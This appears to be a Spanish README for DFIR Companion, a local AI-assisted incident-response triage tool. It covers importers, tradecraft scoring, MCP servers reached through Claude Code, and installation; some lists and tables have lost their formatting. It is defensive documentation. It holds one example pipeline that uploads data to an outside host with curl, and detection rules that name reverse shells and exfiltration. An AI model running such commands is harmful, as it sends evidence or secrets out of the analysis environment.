Servidor complementario de forense DFIR + extensión de captura
Triaje DFIR asistido por IA — en tu máquina. Convierte capturas de pantalla de investigaciones y artefactos importados en una línea de tiempo forense, hallazgos, IOCs, un grafo activo↔IoC y reportes compartibles; haz preguntas al caso en lenguaje natural y colabora con otros investigadores.
Un compañero local de informática forense / respuesta a incidentes. Una extensión de navegador captura pantallas de tu investigación (Velociraptor, paneles de EDR/SIEM, Security Onion, Splunk4DFIR, VolWeb, VirusTotal, etc.) como evidencia; un servidor local las almacena, ejecuta análisis de visión por IA con ventanas hacia un estado de investigación acumulativo por caso, y sirve un panel en vivo más reportes exportables.
Todo se ejecuta en tu máquina — el compañero se enlaza solo a 127.0.0.1, la evidencia
permanece en disco, y el proveedor de IA es tuyo para elegir.
Capa de análisis post-detección. DFIR Companion NO es un motor de detección — ingiere veredictos de Velociraptor, Security Onion, Chainsaw, Hayabusa, THOR, Cyber Triage, EDR/SIEM, los correlaciona en una línea de tiempo forense, y sintetiza hallazgos, ruta del atacante, IOCs y reportes. El valor es el "¿y qué?", no volver a derivar alertas.
Caso de demostración: https://dfir-companion-production.up.railway.app/dashboard?caseId=demo
Laboratorio práctico: https://killercoda.com/dfir-companion/scenario/killercoda
Manual de usuario: https://hasamba.github.io/DFIR-Companion/manual/
companion/.env)Caso de demostración: GlobalTech Industries — BEC y precursor de ransomware, mayo de 2026.
Un caso completamente pre-poblado que puedes explorar sin importar evidencia real — hallazgos, IOCs, técnicas MITRE, etiquetas/comentarios de analistas, datos de exposición del cliente y metadatos de reportes están todos pre-cargados para que cada panel del dashboard tenga algo que mostrar.
Cárgalo con un clic — haz clic en el botón Demo case en la barra de herramientas del dashboard. Funciona también con el EXE portátil de Windows (no requiere Node ni
npm). El botón confirma antes de sobrescribir si el caso ya existe.O siembra desde la CLI (dev / Docker):
cd companion && npm run seed-demo # crea el id de caso "demo" npm run seed-demo -- --force # sobrescribe un caso demo existente npm run seed-demo -- --case-id globaltech # usa un id personalizadoLuego abre
http://127.0.0.1:4773/dashboardy conéctate al caso.
Resumen del caso generado por IA, narrativa minuto a minuto, y redacción de la ruta del atacante — desde el acceso inicial hasta el despliegue del ransomware.

Eventos analizados con filtros de severidad, etiquetas de triaje, enlaces de detalle por fila, y seguimiento de cambios de importación (banner de nuevos eventos con diff expandible).

Todos los eventos jamás importados, antes del filtrado por alcance/severidad — filtra, etiqueta, marca con estrella y promueve filas hacia la línea de tiempo forense analizada; nada se elimina, esta es una vista superconjunto.

Gráfico visual de eventos por activo (eje Y) y tiempo (eje X), coloreado por severidad — arrastra el eje de tiempo para filtrar la línea de tiempo forense a un rango.

Hallazgos generados por IA con puntuaciones de confianza, etiquetas de triaje del analista, y enlaces a técnicas MITRE ATT&CK; rastrea qué cambió desde la ejecución de síntesis anterior.

Eventos agrupados por táctica MITRE ATT&CK — una categorización, no una etapa de kill-chain confirmada, derivada de forma determinista sin IA.

Preguntas estándar de DFIR respondidas automáticamente desde el caso sintetizado (respondidas / parciales / desconocidas), cada una con un puntero a evidencia o una directiva de "recopilar esto a continuación".

Lista de verificación de remediación accionable derivada automáticamente de los hallazgos y próximos pasos recomendados; re-sincronizada en cada ejecución de síntesis mientras preserva el estado del analista, el asignado y las fechas de vencimiento.

Qué hosts/cuentas conllevan el ataque, puntuados por señal (eventos ponderados por severidad + técnicas + IOCs conectivos) en lugar de volumen, con una ventana de alcance sugerida.

Árboles de procesos, movimiento lateral y linaje de archivos unidos en un grafo causal de ataque. Derivado de forma determinista a partir de campos poblados por el importador — sin IA, sin costo, funciona sin conexión.

Quién inició sesión y dónde — cuentas y hosts enlazados desde eventos de inicio de sesión de la súper-línea de tiempo, distinguiendo inicios de sesión exitosos, fallidos y riesgosos (RDP/runas/netonly).

Canales salientes periódicos demasiado regulares para ser tráfico humano — una pista de caza, no un veredicto, con intervalo, jitter y conteo de eventos por candidato.

Indicadores (IPs · dominios · hashes · archivos · procesos · cuentas) enriquecidos contra VirusTotal,
AbuseIPDB, ThreatFox y otros proveedores — insignias de veredicto, puntuaciones de detección, resaltados de importación
NEW, y etiquetas de triaje del analista.

Grafo interactivo que enlaza hosts y cuentas víctimas con los indicadores que tocaron cada uno, más una lista de hosts y usuarios comprometidos conocidos.

drop/ de un caso se importan en segundo plano, se mueven a _processed/ o _failed/, y se registran en drop-log.txt; una subcarpeta asset=<HOST> nombra el host.evtx en bruto conservado byte por byte, versión del parser y código de salida en custodia, fail-closed, desactivado por defectoDFIR_DEDUP=off)DFIR_OCR_SEARCH=off para desactivar; npm run ocr-index para rellenar)127.0.0.1 con CORS + Private-Network-Access para la extensión; rechaza nombres de host no reconocidos, cerrando ataques de DNS-rebinding (DFIR_ALLOWED_HOSTS)Todos los importadores son deterministas (sin llamada de IA), leen las marcas de tiempo propias del artefacto, y etiquetan los eventos con el nombre real de la herramienta para correlación entre fuentes. El mismo archivo puede reimportarse sin duplicar la línea de tiempo.
object/action/properties, timestamp_ms en epoch-ms) — eventos de proceso/flujo/inicio de sesión/registro/módulo/archivo/hilo | Evidencia Info; incremento por LOLBin/línea de comandos codificada (IPs públicas → IOCs) |
| Windows Event Log XML | Event Viewer "Guardar como XML", wevtutil qe /f:xml, Get-WinEvent … ToXml() (Security, Sysmon, System, cualquier canal) | Tabla de Windows/Sysmon por EID |
| Chainsaw | JSON/JSONL de caza de EVTX (chainsaw hunt --json); ejecutable directamente sobre .evtx sin procesar mediante el ejecutor de herramientas | Nivel de regla Sigma coincidente |
| Hayabusa | json-timeline o csv-timeline | Nivel de regla Sigma coincidente |
| Velociraptor | Array JSON, JSONL o mapa de artefactos | Veredicto Sigma/YARA o por EID |
| THOR (Nextron) | Salida de escaneo JSON-Lines | Nivel de alerta de THOR |
| Suricata / Zeek | eve.json, registros JSON de Zeek; telemetría → solo IOCs | Prioridad de alerta / severidad de aviso |
| Snort / Suricata IDS (fast) | Registro de alertas de una línea alert_fast | Priority de la regla (1→Alta / 2→Media / 3→Baja) |
| YARA | Salida de escaneo CLI yara -s -m (coincidencias de reglas + strings/meta) | Info→Media por coincidencia; incremento según meta score/threat_level de la regla |
| Registro de acceso web/proxy | Formato de registro combined de Apache/Nginx/Squid (registro de acceso de servidor web o proxy directo); URL de solicitud, HTTP Referer y User-Agent capturados (secretos en URL/Referer + UAs de escáner/bot/inyección sobreviven como eventos + IOCs) | Info por defecto; acceso denegado (401/403/407) → Baja; clonación/push git smart-HTTP → T1213 |
| Syslog de firewall Cisco ASA | Mensajes Built/Teardown/Deny %ASA-#-######: | Info por defecto (telemetría); Deny explícito → Baja |
| Syslog (plano) | RFC 5424 (<PRI>1 …) + RFC 3164 (Mmm dd …) registros de host Linux/Unix | Info por defecto (telemetría); fallo de autenticación o PRI crit/alert/emerg → Baja |
| Security Onion | Eventos SOC Alerts/Hunt (ECS); enviados por la extensión o una exportación de la API de SOC | event.severity_label (etiqueta Suricata/SO) |
| SO-CRATES | Alertas de Suricata + coincidencias de archivos YARA (/api/events) y detecciones Sigma (/api/sigma-alerts); enviados por la extensión o una exportación sin procesar | Prioridad de Suricata / nivel de Sigma / coincidencia YARA |
| Cyber Triage | Línea de tiempo JSONL / JSON / CSV | Puntuación de elemento de Cyber Triage |
| M365 / Entra ID | UAL, registros de inicio de sesión y auditoría de Entra | Tabla de tradecraft de BEC / riskLevel de Entra |
| Okta | Exportación de System Log | Tabla de tradecraft de IdP (MFA deshabilitado, concesión de admin, token de API emitido, sesión suplantada) — no la calificación operativa del proveedor |
| Google Workspace | Auditoría de Admin + inicio de sesión | Tabla de tradecraft de IdP (2SV deshabilitado, rol concedido, OAuth consentido, monitor de correo añadido) |
| Hindsight (navegador) | Historial, descargas, interpretaciones de Chrome/Edge/Brave (JSON o CSV) | — (Eventos Info: los artefactos del navegador son evidencia, no veredictos) |
| macOS | Registro unificado (log show --style json), eventos de descarga LSQuarantine, atributos com.apple.quarantine, plists de launchd, elementos de inicio de sesión (plist clásico, .sfl2, BTM) | Registro de cuarentena ↔ atributo de archivo ↔ visita del navegador ↔ inicio de proceso unidos por identificador; un plist se lee como configuración, nunca como una ejecución |
| iLEAPP / ALEAPP | Artefactos de extracción de iOS + Android desde exportaciones TSV de LEAPP | — (Eventos Info; analizador genérico basado en la columna de marca de tiempo) |
| AWS CloudTrail | Registros JSON, NDJSON, Athena | Tabla de acciones de API (IAM/logging/S3/secrets) |
| GCP / Azure | Cloud Audit Logs, Azure Activity Log | Tabla de acciones (IAM/logging/secrets) |
| Auditoría de Kubernetes | Registro de auditoría del servidor de API (audit.k8s.io JSON-lines / EventList) | Tabla (verbo, recurso) — pod exec/attach T1609, acceso a secretos T1552.007, cambio de RBAC T1098, pod privilegiado T1610/T1611, acceso anónimo T1078 |
| osquery | Registro de resultados de consultas programadas (columns diferencial + snapshot) | Telemetría Info; incremento conservador de tradecraft en una columna de línea de comandos |
| Plaso | CSV de psort (dynamic + l2tcsv) | — (Eventos Info) |
| Informes de sandbox | report.json de CAPEv2, resumen de Falcon Sandbox | Veredicto de muestra + firmas de comportamiento |
| Forense de memoria | Volatility 3 (-r json) + Rekall: pslist/pstree, netscan, malfind, cmdline, svcscan; un sobre JSON de ejecución (comando, estado de salida, stderr) se importa junto a la exportación | malfind código inyectado → Alta (T1055); listados → Info/Baja; una ejecución con cero filas o fallida dice qué establece |
| Intact (VolWeb recortado) | Tablas de plugins de memory_payload.json + yarascan_results.jsonl | Mismo mapeo de plugins; coincidencias YARA en memoria → Baja, un clúster denso de muchas reglas → Info; límites de filas divulgados |
| TheHive | Exportación JSON de caso/alerta, lista de observables (TheHive 5) | Severidad de TheHive 1–4; MITRE a partir de etiquetas etiquetadas con ATT&CK |
| Correo electrónico | .eml (RFC 2822), .msg con mejor esfuerzo | Fallo de SPF/DKIM/DMARC → heurísticas de suplantación de remitente (T1566 Phishing) |
| Historial de shell | .bash_history / .zsh_history (HISTTIMEFORMAT de bash #epoch + historial extendido de zsh) | Info por defecto; incremento conservador por tradecraft (reverse shell, descarga y ejecución, acceso a credenciales, manipulación de registros/historial, SSH lateral) |
| Persistencia en Linux | Claves autorizadas de SSH, cron, unidades systemd, perfiles de shell, listados SUID y PATH de una sola recolección | Cargas útiles con escritura mundial, root ejecutando archivos escribibles por el usuario, intérpretes setuid; nada calificado por el mero hecho de existir |
| auditd de Linux | Registros sin procesar de audit.log / ausearch, tablas de aureport | Tabla de tipos de registro (inicios de sesión, gestión de cuentas, sudo, SELinux, manipulación de auditoría) |
| journald de systemd | journalctl -o json / -o json-pretty | PRIORITY de syslog + incrementos de tradecraft (sshd, sudo, useradd) |
| sysdig / Falco | JSON de alertas de Falco, JSON de eventos -j de sysdig | Prioridad de regla de Falco; llamadas al sistema sin procesar → telemetría Info |
| Wazuh | alerts.json / NDJSON, o exportación de API (GET /security/events) | rule.level (≥13 Crítica, ≥10 Alta, ≥7 Media) |
| CSV | Exportaciones de Velociraptor / EDR | — |
| Registros genéricos | Firewall, syslog, VPN; líneas repetitivas → patrones contados | Triado por IA |Calificación determinista de tradecraft — Las líneas de comandos de Windows/Sysmon, ECAR y memoria se califican contra reglas extraídas de más de 110 intrusiones reales (The DFIR Report, Huntress): tradecraft de alta confianza → Alta con su técnica ATT&CK (deshabilitación de Defender, inhibición de recuperación, volcado de credenciales, túneles inversos, Impacket, RMM/C2, exfiltración a la nube …), doble uso → Media; el descubrimiento puro se etiqueta pero nunca se escala.
runas /netonly) → Media$SI/$FN del MFT como probable timestomping → Mediarclone/restic/megasync/megacmd en PrefetchZone.Identifier se lee contra Prefetch, inicios de proceso y registros de presencia del mismo archivo y solo se eleva cuando la ejecución es posterior a ella; una carga útil en flujo oculto se califica por contenido, no por nombrecmd.exe renombrado, una herramienta depositada)nltest, Get-AD*, ntdsutil … ifm y similares se extraen de los registros 4104/4103 con sus técnicasssl/x509, Suricata tls) se convierte en una fila por relación y por certificado; las respuestas DNS se unen a las conexiones posteriores del mismo cliente dentro del TTL; las cadenas de solicitudes web se unen solo mediante identificadores que ambos registros portanDFIR_JEV_ENABLED)DFIR_SYNTH_ADVERSARY_HINTS)tags.yaml) — un motor de reglas etiqueta eventos, eleva la severidad y une técnicas MITRE-enc, [Convert]::FromBase64String); extrae IOCs ocultos; muestra bloques [Decoded]process_creation también cazan el historial de Sysmon / 4688POST /cases/:id/push (webhook de SIEM, monitor de Velociraptor, scripts)DFIR_FORENSIC_MIN_SEVERITY + una anulación por caso, la promoción omite la puerta, y los IOCs se siguen extrayendo de cada eventoDetectRaptor.Windows.Detection.MFT), tanto en la línea de tiempo forense como en la super-línea de tiempoj/k mueve un resaltado de fila enfocada en la Forensic Timeline, f destaca, i prerrellena el formulario manual de IOC, p fija el hallazgo citado, n abre un comentario, ? muestra una chuleta; conmutable en Settings → General, activado por defectoPUT /cases/:id/correlation-profileDFIR_SHODAN_KEY? junto al engranaje de configuración abre el manual de usuario en línea en una nueva pestañamanual, sobreviven al reanálisis)DFIR_CROSS_CASE=on/dfir findings, /dfir iocs malicious, /dfir ask … desde el canal de incidentes; vincula un canal a un caso, lista de permitidos de quién puede gastar presupuesto de IA (#235)/mobile) para hallazgos/línea de tiempo/IOCs con veredictos; app-shell sin conexión/cases/:id/present) para briefings de traspaso y recorridos ejecutivos: tarjetas grandes, navegación por teclado, avance automático, filtro de severidad, marca de plantilla de informe; exporta una presentación HTML autónoma sin conexión (#177)$0.00 fabricado cuando un proveedor no lo reporta)DFIR_MAX_EVENTS) — sobrescribe el límite de seguridad predeterminado de 2000 eventos por importaciónDFIR_LOG_LEVEL; debug traza IA/capturas/OCR/anonimizaciónchoco install dfir-companion; descarga + verifica la compilación portátil + incluye la extensión de captura, datos en %LOCALAPPDATA%docker compose up; evidencia en volumen del host, sin backend de IA incluidonpm run seed-demo para sembrar el escenario GlobalTechreanalyze, synthesize, coverage, verify:ai, clean-timelineEl Companion puede apuntar la evidencia de un caso a servidores MCP que tú ejecutas — una estación de trabajo SIFT, una máquina REMnux, un servicio de línea base de triaje de Windows — para que la evidencia se analice en una máquina que tiene las herramientas.
Solo llega a ellos a través de Claude Code. El Companion no es un cliente MCP: no guarda ninguna URL de servidor, ningún token bearer, y no inicia ningún npx o uvx por su cuenta. Claude Code ya está configurado con tus servidores y ya tiene sus credenciales, así que él hace la comunicación y el Companion se lo pide.
Toda esta funcionalidad funciona solo si:
DFIR_AI_CLAUDE_CODE_BIN si claude no está en su PATH.claude mcp add …, o su archivo de configuración), y claude mcp list los muestra conectados.No hay alternativa. Si ejecutas el Companion en Docker, desde el AppImage, o desde la compilación portátil de Windows sin Claude Code junto a él, las rutas MCP te lo dirán y nada más.
Dos consecuencias que vale la pena conocer antes de confiar en esto. Cada llamada MCP pasa por un modelo, así que consume tokens y no es la llamada determinista bit a bit que sería una solicitud JSON-RPC directa — el prompt lo convierte en un transporte (una herramienta, argumentos exactos, salida literal) pero un modelo sigue en medio. Y como los servidores provienen de la propia configuración de Claude Code en lugar de una generada, Claude Code inicia todos los servidores con los que está configurado en cada ejecución, no solo el que se está usando; la lista de permitidos limita lo que puede llamarse, no lo que se lanza.
En Settings → Tools, pulsa Refresh from Claude Code para cargar su lista de servidores, luego permite uno y di qué puede hacer. No hay nada que escribir salvo la política — los nombres de los servidores vienen del propio Claude Code, así que un error tipográfico no puede dejarte con una entrada que silenciosamente no coincida con nada.
POST /cases/<id>/mcp/<serverId>/run con { tool, args, targetPath }. Pon <target> donde la herramienta espera la ruta de evidencia — se reemplaza con la ruta en el host de análisis después de que se haya ejecutado la entrega, así que el argumento que escribes es el argumento que recibe la herramienta:```json
{ "tool": "run_command",
"args": { "command": ["vol.py", "-f", "", "pslist"] },
"targetPath": "imports/memory.raw" }
`targetPath` se resuelve dentro del directorio del caso; cualquier cosa fuera de él se rechaza. Para una muestra que el navegador tiene y el servidor no tiene ruta hacia ella, `POST /cases/<id>/mcp/<serverId>/run-upload` acepta `{ filename, dataBase64 }` en su lugar y almacena los bytes dentro del caso primero.
Ambos devuelven **202 con un id de trabajo** en lugar de bloquearse. Una ejecución real de Volatility supera cualquier tiempo de espera razonable de una petición, por lo que la ejecución es un trabajo en segundo plano con progreso, un botón de cancelar y una difusión `job_changed` por WebSocket. El resultado fluye hacia el caso a través de la misma cadena de importación que cualquier otra herramienta — eventos de línea de tiempo, hallazgos e IOCs, con un punto de control de deshacer — por lo que nada sobre la lectura del resultado difiere de una importación ordinaria. La salida estructurada se enruta al importador correspondiente; la prosa no estructurada recae en la ruta de registro genérica en lugar de ser rechazada.
Una herramienta que reporta su propio fallo hace fallar el trabajo en lugar de ser ingerida: un mensaje de error es un diagnóstico, no un artefacto, y archivarlo en la línea de tiempo lo haría parecer evidencia.
### Vista previa antes de importar
**Activada por defecto**, y vale la pena dejarla activada. Un servidor MCP devolverá datos de referencia tan fácilmente como evidencia — pregúntale a SIFT qué herramientas tiene y obtendrás un inventario JSON que es estructuralmente idéntico a una tabla de Volatility: un array de objetos sin marcas de tiempo. Ningún detector puede distinguirlos, así que los importadores hacen lo que están construidos para hacer y extraen cada ruta en él como un indicador de archivo. Un listado de capacidades son unas pocas docenas de IOCs que el caso nunca quiso.
Con la vista previa activada, la ejecución obtiene la salida y se detiene. Ves los bytes, el tamaño y el tipo como el que *importaría*, y eliges. Aprobar ingiere **exactamente los bytes ya obtenidos** — nunca vuelve a ejecutar la herramienta, por lo que una ejecución de Volatility de veinte minutos cuesta veinte minutos una vez, y una herramienta con efectos secundarios los realiza una vez. Descartar tira la salida y el caso queda intacto.
Envía `preview: true` en la ejecución para usarla desde la API, luego `GET`, `POST …/import` o `DELETE` en `/cases/<id>/mcp/preview/<jobId>`.
Nada de esto sustituye el juicio sobre qué ejecutar, e importar sin vista previa no es peligroso — cada importación MCP empuja un punto de control de deshacer, por lo que una ejecución que resulta ser ruido está a un clic de ser revertida.
### Qué otorga usar un servidor
**Por defecto, todo lo que el servidor ofrece.** Eso es deliberado: Claude Code ya te permite llamar a cualquier herramienta en cualquier servidor que hayas configurado, así que requerir que las re-enumeraras aquí habría sido más estricto que tu propio uso diario — y un segundo lugar para describir el mismo servidor.
Vale la pena saber qué incluye "todo". Algunos servidores exponen herramientas de grano fino — `check_service`, `check_autorun`, una por pregunta. Otros exponen un único **ejecutor de comandos** que ejecuta lo que le entregues: el `run_command` de SIFT declara que puede ejecutar "la mayoría de las herramientas instaladas en SIFT … incluyendo curl, wget, dd, fdisk y python3", y el `run_tool` de REMnux acepta una tubería de shell completa. Usar tal servidor desde el Companion significa ejecución de comandos en ese host — razonable en una red forense aislada, donde las máquinas de análisis son tuyas y la evidencia ya está en tu LAN, y no razonable en ningún otro lugar.
Dos listas **opcionales** lo restringen cuando quieres eso:
| Configuración | Se aplica a | En blanco significa |
|---|---|---|
| **Restringir a herramientas** | cada llamada | cada herramienta que el servidor ofrece |
| **Restringir a comandos** | llamadas que llevan un argumento de comando | sin restricción de comandos |
Los comandos se comparan **por nombre base**, por lo que `grep` y `/usr/bin/grep` son una sola regla. Cada etapa de una tubería se verifica, no solo la primera — `oledump.py s.doc | curl -T - http://elsewhere` necesita que tanto `oledump.py` como `curl` estén permitidos. Un comando que usa sustitución de shell (`$(…)`, comillas invertidas, `${…}`) se rechaza directamente, porque lo que ejecutaría no puede conocerse de antemano.
**Lo que la lista de comandos no hace.** Limita *qué* binarios se ejecutan, nunca lo que uno permitido puede hacer — permitir `dd` permite escribir en cualquier ruta en la que el usuario de ese servidor pueda escribir; permitir `python3` permite código arbitrario. También se basa en nombres de parámetros conocidos (`command`, `cmd`, `argv`), por lo que un servidor que nombra su parámetro de comando de forma inusual no se detecta. Existe para ayudar a un operador que quiere restringir su propio acceso, no para contener un servidor que no debería haber configurado en primer lugar.
### Llevar evidencia al servidor
MCP no tiene primitiva de transferencia de archivos y una imagen de memoria de varios gigabytes no puede viajar dentro de un argumento de herramienta, por lo que el archivo ya tiene que estar en algún lugar donde el servidor pueda abrirlo. Esta parte sigue siendo trabajo del Companion — Claude Code no puede mover una imagen a una máquina de análisis. Cada servidor elige una de dos rutas:
**`remote-path`** (por defecto) — la evidencia ya es visible para el host de análisis a través de un montaje compartido. Establece un prefijo local y un prefijo remoto y la ruta se reescribe (`/srv/cases/…` → `/mnt/dfir/…`); deja ambos vacíos cuando el montaje está en la misma ruta en ambos lados. No se copia nada.
**`scp`** — el Companion empuja el archivo a un directorio de preparación, la herramienta se ejecuta y la copia preparada se elimina después. Configura `host`, `remoteDir`, opcionalmente `user`, `port` e `identityFile`.
Cuatro cosas que debes saber antes de elegir `scp`:
- **La clave del host ya debe ser de confianza.** `BatchMode` está activado y `StrictHostKeyChecking` *no* está deshabilitado, por lo que un host desconocido falla con `Host key verification failed` en lugar de confiar en lo que sea que respondió a la dirección. Conéctate una vez a mano (o añade la clave a `known_hosts`) primero. Esto es deliberado: aceptar silenciosamente una clave no verificada entregaría evidencia a cualquiera que tenga la IP.
- **La autenticación es solo basada en clave.** `BatchMode` significa que ssh nunca solicita, por lo que un host solo con contraseña no puede funcionar. Apunta `identityFile` a una clave sin frase de contraseña, o cárgala en un agente al que el proceso del servidor pueda acceder.
- **No hay progreso ni reanudación.** Una copia de 16 GB es opaca hasta que termina o falla, y una conexión caída significa empezar de nuevo. La transferencia es cancelable y tiene su propio tiempo de espera de una hora, separado del tiempo de espera de la llamada a la herramienta.
- **El host, el usuario y el directorio remoto están restringidos a un conjunto de caracteres conservador** (letras, dígitos, punto, guion, guion bajo y `/` para el directorio). `user@host` llega a ssh sin comillas, por lo que cualquier cosa con significado de shell se rechaza cuando la guardas en lugar de en el momento de la transferencia. El nombre de archivo preparado se deriva del nombre de la evidencia y se sanitiza de la misma manera.
Cualquiera de las dos rutas registra un **evento `transferred` de cadena de custodia** que nombra el destino, por lo que un archivo de caso muestra que la evidencia salió de esta máquina, cuándo y hacia dónde. Una transferencia que falla no registra nada — la cadena nunca afirma una copia que no ocurrió.
### Investigaciones MCP en lenguaje sencillo
Una sola llamada a herramienta no puede seguir un hilo. "Investiga este volcado" quiere un bucle — ejecutar pslist, notar algo, pivotar a malfind — y eso es lo que hace el modo agéntico: permite que Claude Code conduzca contra el servidor que autorizaste, luego fusiona lo que reporta. Este es el flujo de trabajo MCP principal en el panel: escribe el objetivo en lenguaje sencillo, selecciona o navega hasta la evidencia, elige la aplicación MCP y pulsa **Investigate**. Los nombres de herramientas y los argumentos JSON solo están disponibles en la sección avanzada de llamada manual.
`POST /cases/<id>/mcp/agent` con `{ prompt, servers?, targetPath?, preview? }`, o `POST /cases/<id>/mcp/agent-upload` con `{ prompt, servers, filename, dataBase64, preview? }`.
**Lee esto antes de permitir un servidor.** En una ejecución manual el Companion controla cada llamada, por lo que cada llamada pasa las listas de permitidos de herramientas *y* de comandos. En modo agéntico no es así: `claude` habla con los servidores directamente. Solo sobrevive la lista de permitidos de herramientas, como `--allowed-tools`. **La lista de permitidos de comandos no puede aplicarse.** Permitir que un agente use una herramienta de ejecución de comandos por lo tanto otorga a un bucle autónomo la capacidad de elegir sus propias líneas de comando en ese host.
Permitir y habilitar un servidor MCP en Companion es el límite de permiso para este modo. La restricción de herramientas del servidor sigue aplicándose. Una restricción de comandos no puede limitar el bucle autónomo; se aplica solo a llamadas manuales avanzadas.
Lo que el modo aún garantiza: una restricción explícita de herramientas se pasa herramienta por herramienta; una restricción en blanco permite deliberadamente cada herramienta que ese servidor expone. Los ajustes de proyecto/local, los archivos `CLAUDE.md` y los hooks se excluyen, y la ejecución está limitada en turnos. Los ajustes de usuario de Claude Code permanecen habilitados porque ahí es donde viven sus conexiones de servidor MCP.
La respuesta del agente se valida contra el esquema y se le eliminan las afirmaciones de procedencia antes de fusionarla — todo lo que vio provino de la salida de herramientas, que no es de confianza. Nunca se le pide un resumen del caso, por lo que una ejecución añade hallazgos, IOCs y eventos sin reescribir tus conclusiones. La vista previa también funciona aquí, y importa más: un bucle autónomo decide por sí mismo qué reportar.
La investigación está limitada a 40 turnos. Si Claude Code consume ese presupuesto mientras usa herramientas, Companion reanuda la misma sesión una vez con todas las herramientas deshabilitadas y le pide que reporte solo a partir de la evidencia ya recopilada. Esto preserva el límite de seguridad sin perder una investigación completada solo porque su JSON final habría sido el siguiente turno.
### Credenciales
No hay ninguna que configurar aquí. Los tokens Bearer, las cabeceras y los transportes viven todos en la propia configuración MCP de Claude Code, que es el único lugar que los contiene. El Companion almacena un *nombre* de servidor, una lista de permitidos y un bloque de entrega — nada que le permitiera conectarse a nada por sí solo.
Una advertencia si vas a mirar: `claude mcp list` imprime la línea de comando completa de cada servidor, que para una entrada `mcp-remote` incluye el token Bearer en texto claro. El Companion solo extrae el nombre y el veredicto de salud de esa salida y nunca almacena, registra ni muestra el resto — pero ten cuidado dónde ejecutas ese comando tú mismo.
## Estructura del repositorio```
52.43-DFIR-Companion/
├── companion/ Node/TS localhost server (the core). See companion/README.md.
├── extension/ MV3 capture extension (Chrome/Comet + Firefox). See extension/README.md.
├── public/
│ └── dashboard.html Live dashboard, served by the companion at /dashboard.
├── docs/
│ └── superpowers/plans/ The original 4 implementation plans.
├── Dockerfile Single-image build (server + dashboard + add-on); no Ollama/LiteLLM.
├── docker-compose.yml Localhost-only Compose: ./cases volume, add-on → ./addon.
└── cases/ Evidence + state output (gitignored). Location set by DFIR_CASES_ROOT.
Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘
**Análisis en dos fases:** un modelo de visión económico lee cada captura de pantalla en la línea de tiempo forense; un modelo más potente realiza la única llamada de síntesis holística (hallazgos, MITRE, ruta del atacante, preguntas). Configure ambos mediante `.env` — consulte `companion/README.md`.
## Inicio rápido
> **Requisito previo:** [Node.js](https://nodejs.org/) **22.19 o posterior** (que incluye `npm`).
> Compruébelo con `node --version`. Todo lo que aparece a continuación utiliza `npm`, por lo que no se necesita ningún otro entorno de ejecución.
> El almacenamiento de casos indexados utiliza el módulo integrado `node:sqlite`, por lo que las versiones anteriores de Node no pueden abrir
> casos. La compilación portátil incluye un entorno de ejecución compatible.
1. **Companion** (el servidor): ```
git clone https://github.com/hasamba/DFIR-Companion.git
cd DFIR-Companion/companion
npm install
cp .env.example .env # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
npm run dev # serves http://127.0.0.1:4773 (dashboard at /dashboard)
Extensión (captura):
Más fácil: instalar directamente desde la
Chrome Web Store.
En Firefox 140+, descarga dfir-capture-extension-firefox-*.zip desde la
última versión y descomprímelo.
O compilar desde el código fuente: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json
En Firefox, cárgala desde about:debugging#/runtime/this-firefox → Cargar complemento temporal…
y selecciona el archivo manifest.json (Chrome pide la carpeta; Firefox no). Firefox
elimina los complementos temporales al reiniciar, así que repite esto en cada sesión — todavía no hay
una ficha en AMO, por lo que el zip de la versión no está firmado y no se puede instalar de forma permanente.
Qué recopila, ya que una carga temporal nunca lo pregunta. Firefox muestra su aviso de recopilación de datos solo para un complemento firmado instalado de forma normal;
about:debugginglo concede todo silenciosamente. La extensión declara actividad de navegación (una captura incluye la URL y el título de la pestaña) y contenido del sitio web (la captura de pantalla y las filas que extrae un Push). La extensión lo envía a la dirección complementaria que configures y a ningún otro lugar; lo que ese complemento reenvíe después — un modelo de visión lee las capturas de pantalla, la síntesis de IA lee las filas, el enriquecimiento consulta servicios de reputación — es la propia configuración del complemento. Consulta extension/PRIVACY.md.
El popup solo se adjunta a un caso existente — los casos se crean en el panel.
http://127.0.0.1:4773/dashboard, haz clic en + New case para crear tu caso (se
conecta automáticamente). Luego, en el popup de la extensión, selecciona ese caso en el menú desplegable Case
(Refresh cases si aún no aparece) y pulsa Start. Navega por tu evidencia —
el panel se actualiza en vivo.¿Actualizas una copia existente? Después de
git pull, vuelve a ejecutarnpm installen amboscompanion/yextension/— las nuevas funciones pueden añadir dependencias (p. ej., la redacción OCR de capturas de pantalla añadiótesseract.js). Luego reinicianpm run dev(el código del servidor se carga una vez al inicio).
La configuración completa, los endpoints HTTP, la estructura de carpetas de casos y el modelo de análisis están documentados en companion/README.md.
Ejecuta todo — servidor complementario + panel + el complemento del navegador — en un solo contenedor.
No se incluyen Ollama ni LiteLLM; para IA, apunta DFIR_AI_* a cualquier endpoint compatible con OpenAI
(un modelo que alojes tú, un proveedor remoto o un Ollama/LiteLLM que ejecutes por separado). Con la IA
sin configurar, el contenedor sigue haciendo la captura completa y todos los importadores deterministas.
Requisito previo: Docker con el plugin Compose (
docker compose version).
Solo localhost por diseño: el contenedor se enlaza a 0.0.0.0 internamente, pero Compose publica el
puerto en 127.0.0.1 de tu host — así el panel nunca queda expuesto en tu red.
O extrae la imagen preconstruida desde GHCR en lugar de compilar: ``` docker compose pull && docker compose up -d
2. **Cargar el complemento** (captura). El contenedor escribe la extensión precompilada y descomprimida en
`./addon` en el primer inicio. En Chrome/Comet abre `chrome://extensions`, habilita el **Modo
de desarrollador**, haz clic en **Cargar descomprimida** y selecciona **`./addon/dist`** (también se coloca allí un
`dfir-companion-extension.zip` empaquetado).
3. Abre `http://127.0.0.1:4773/dashboard`, haz clic en **+ Nuevo caso**, luego selecciona ese caso en el
popup de la extensión y pulsa **Start**.
**Datos y configuración:**
- La evidencia y el estado del caso persisten en **`./cases`** en el host (volumen montado) — sobrevive
